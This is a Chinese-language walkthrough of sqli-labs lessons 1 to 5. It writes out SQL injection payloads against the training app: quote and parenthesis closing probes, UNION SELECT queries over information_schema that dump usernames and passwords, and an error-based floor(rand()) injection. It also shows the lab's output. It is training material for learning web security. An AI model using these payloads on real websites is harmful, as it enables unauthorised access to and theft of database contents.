【1】Less-1

【1.1】首先判断是否是数字型：

   ?id=1 and 1=1 
   ?id =1 and 1=2

发现不会出现错误，说明不是整形注入。

【1.2】判断是否字符型

?id=1'

此时出错：

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line

说明这里存在一个注入点，而且看出错信息为：'1'' LIMIT 0,1
从这里看出多出来的1'就是我们刚才的输入，所以问题在于'没有闭合。
这里可以猜测sql语句为：

$id = $_GET['id']
$query = "select name, password from xxx where id= '$id' LIMIT 0,1"

所以可以用以下输入来进行注入：

?id=1' --+
?id=1' and 1=1 --+

测试成功，说明猜测正确。
这里注意： --+是为了注释掉后面的语句。+会被转化为空格，所以最终就是--
这里也可以使用：

--# 不过这个不能直接使用，需要将#编码也就是 --%22

【1.3】判断表有几列

?id=1' order by 1 --+

使用order by 1 一直测试这里测试到order by 4出现错误:

 Unknown column '4' in 'order clause'

说明表中有3列。

【1.4】判断回显位置

?id=-1' union selec 1,2,3 --+

此时可以看到2，3被显示出来。所以可以用sql语句替换2,3列来达到注入目的。
这里使用id=-1是因为语句中可能有LIMIT 0,1这样的子句或者页面只输出一条信息。

【1.5】爆库名

?id=-1' union select 1, database(), version() --+

显示为：

Welcome    Dhakkan
Your Login name:security
Your Password:5.7.30-0ubuntu0.18.04.1

上面得到数据库名为security，版本名为5.7.30-0ubuntu0.18.04.1。
继续搜集信息：

?id=-1' union select 1, user(), @@datadir

得到：

Welcome    Dhakkan
Your Login name:root@localhost
Your Password:/var/lib/mysql/

user为 root@localhost
数据路径为： /var/lib/mysql/
继续

?id=-1' union select 1, @@version_compile_os, @@basedir

得到：

Welcome    Dhakkan
Your Login name:Linux
Your Password:/usr/

所以目标机器操作系统为Linux，sql安装在/usr/目录下。
这里总结一下，一些常见的mysql函数和变量：

system_user()：系统用户名
user()：用户名
current_user：当前用户名
session_user()：连接数据库的用户名
database()：数据库名
version()：数据库版本
load_file()：读取本地文件函数
@@datadir：读取数据库路径
@@basedir：mysql安装路径
@@version_compile_os：操作系统

【1.6】继续爆破数据库

?id=-1' union select 1, (select group_concat(schema_name) from information_schema.schemata), 3 --+

得到：

Welcome    Dhakkan
Your Login name:information_schema,challenges,dvwa,mysql,performance_schema,security,sys
Your Password:3

这里说明一下Mysql information_schema的一些用法：

#获取所有的数据库名
select schema_name from information_schema.schemata 
#获取所有的数据库名(会有重复的)
select table_schema from information_schema.tables 
# 得到某个数据库的所有表名
select table_name from information_schema.tables where table_schema = "某个数据库名" 
#得到某个数据库中某个表的所有列名
select column_name from information_schema.columns where table_schema = "某个数据库名" and table_name = "某个表名"

（1）查看所有的数据库名

?id=-1' union select 1, (select group_concat(schema_name) from information_schema.schemata),3 --+

结果：

Welcome    Dhakkan
Your Login name:information_schema,challenges,dvwa,mysql,performance_schema,security,sys
Your Password:3

（2）查看表名：

?id=-1' union select 1, (select group_concat(table_name) from information_schma.schemata where table_schema = 'security'),3 --+

由于【1.5】中已经获取到数据库名为security，所以这里我们可以获取到security数据库的所有表：

emails,referers,uagents,users

直接查看users表，查看它的列名：

?id=-1' union select 1, (select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'), 3 --+

此时得到user表的列名为：

username,password

查询所有的username, password：

?id=-1' union select 1, (select group_concat(username) from users), (select group_concat(password) from users) --+

此时得到：

所有的username：
Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
Your Password:Dumb,I-kill-
所有的password：
Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4

当然也可以这样一次性爆出：

?id=-1' union select 1, (select group_concat(concat_ws('=>', username, password) separator '|' ) from users), 3 --+

结果为：

Dumb=>Dumb|Angelina=>I-kill-you|Dummy=>p@ssword|secure=>crappy|stupid=>stupidity|superman=>genious|batman=>mob!le|admin=>admin|admin1=>admin1|admin2=>admin2|admin3=>admin3|dhakkan=>dumbo|admin4=>admin4

这样就获取到了数据库security中表users的所有内容。

【2】Less-2

?id=1'

出错：

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

可以看到这里接收的是整数数据。为了进一步确认，可以输入表达式确认：

?id=2-1  #和 ?id=1结果一致
?id=1 and 1=1 #输出正常
?id=1 and  1=0 #无输出

以上可以确定是整形注入。所以后面爆破库名/表名/列名/表内容可以这样：

?id=-1 union select 1, database(), version() #获取数据库名，版本信息
?id=-1 union select 1, (select group_concat(table_name) from information_schema.tables where table_schema = 'security'), 3 #获取security数据库中的所有表名
?id=-1 union select 1, (select group_concat(column_name) from information_schema.columns where table_name = 'users'), 3 #获取security数据库中users表的所有列
?id=-1 union select 1, (select group_concat(concat_ws('=>', username, password) separator ' ') from%20 users), 3 #获取security数据库中users表的所有username-passwod的内容。

Less-2 over

【3】Less-3

首先看看是否有注入点：

?id=1'

得到错误：

 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1

分析可知输入1'后，是该字符串：

'1'')

猜测可能是这样的sql:

$id = $_GET['id'];
$sql = "select xxx from xxx where id = ('$id') LIMIT 0,1";

尝试构造注入，注意'以及)的闭合：

?id=1') --+

此时一切正常。说明我们的猜测正确。所有这里存在一个需要闭合')的注入点。
接下来就可以继续注入了:

#获取到表有几个字段
?id='1) order by 3 --+     
# 获取数据库名
?id=-1') union select 1, database(), version() --+    
#获取security数据库的所有表名
?id=-1') union select 1, (select group_concat(table_name) from information_schema.tables where table_schema = 'security' ), 3 --+      
#获取security数据库中users表的所有列
?id=-1' union select 1, (select group_concat(column_name) from information_schema.columns where table_name  = 'users'), 3 --+
#爆破表内容
?id=-1' union select 1, (select group_concat(concat_ws('=>',username, password) separator ' ') from users), 3 --+

【4】Less-4

首先查看是否有注入点:

?id=1'
?id=1 and 1=1
?id=1 and 1=0
?id=1')

以上尝试均没有异常。
继续尝试：

?id=1"

此次出错：

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1

分析可知出错为：

"1"")

所以可知是")没有闭合。
猜测sql语句为：

$id = $_GET['id'];
$sql = "select xxx from xxx where id = ("$id") LIMIT 0,1";

构造")闭合:

?id=1") --+

此时结果正常，所以猜测正确。这里有一个注入点。接下来就可以【2】【3】类似的方法爆破数据库了。

【5】Less-5

首先还是先找注入点：

?id=1'                #此时出现错误
?id=1'   --+        #此时正确
?id=1' order by 3 --+   #确定表有三列
?id=1' union select 1,2,3 --+    #此时发现没有回显点

这个课程中，没有回显点，所以就不能像【1】-【4】一样利用回显信息来进行注入调试。
首先观察一下上面order by 4时候的错误：

Unknown column '4' in 'order clause'

虽然数据库内容的信息不会回显，但是数据库的错误信息会回显。所以这里可以使用报错注入。
解释一下报错注入：就是人为的制造数据库错误。在数据库报错的同时，将数据库的错误信息呈现在错误结果中。

?id=1' union select 1, count(*), concat((select user()),  (floor(rand(0) * 2))) as x from information_schema.tables group by x --+

采用该方法爆出user()：

Duplicate entry 'root@localhost1' for key ''

TBC

Sqli labs通关笔记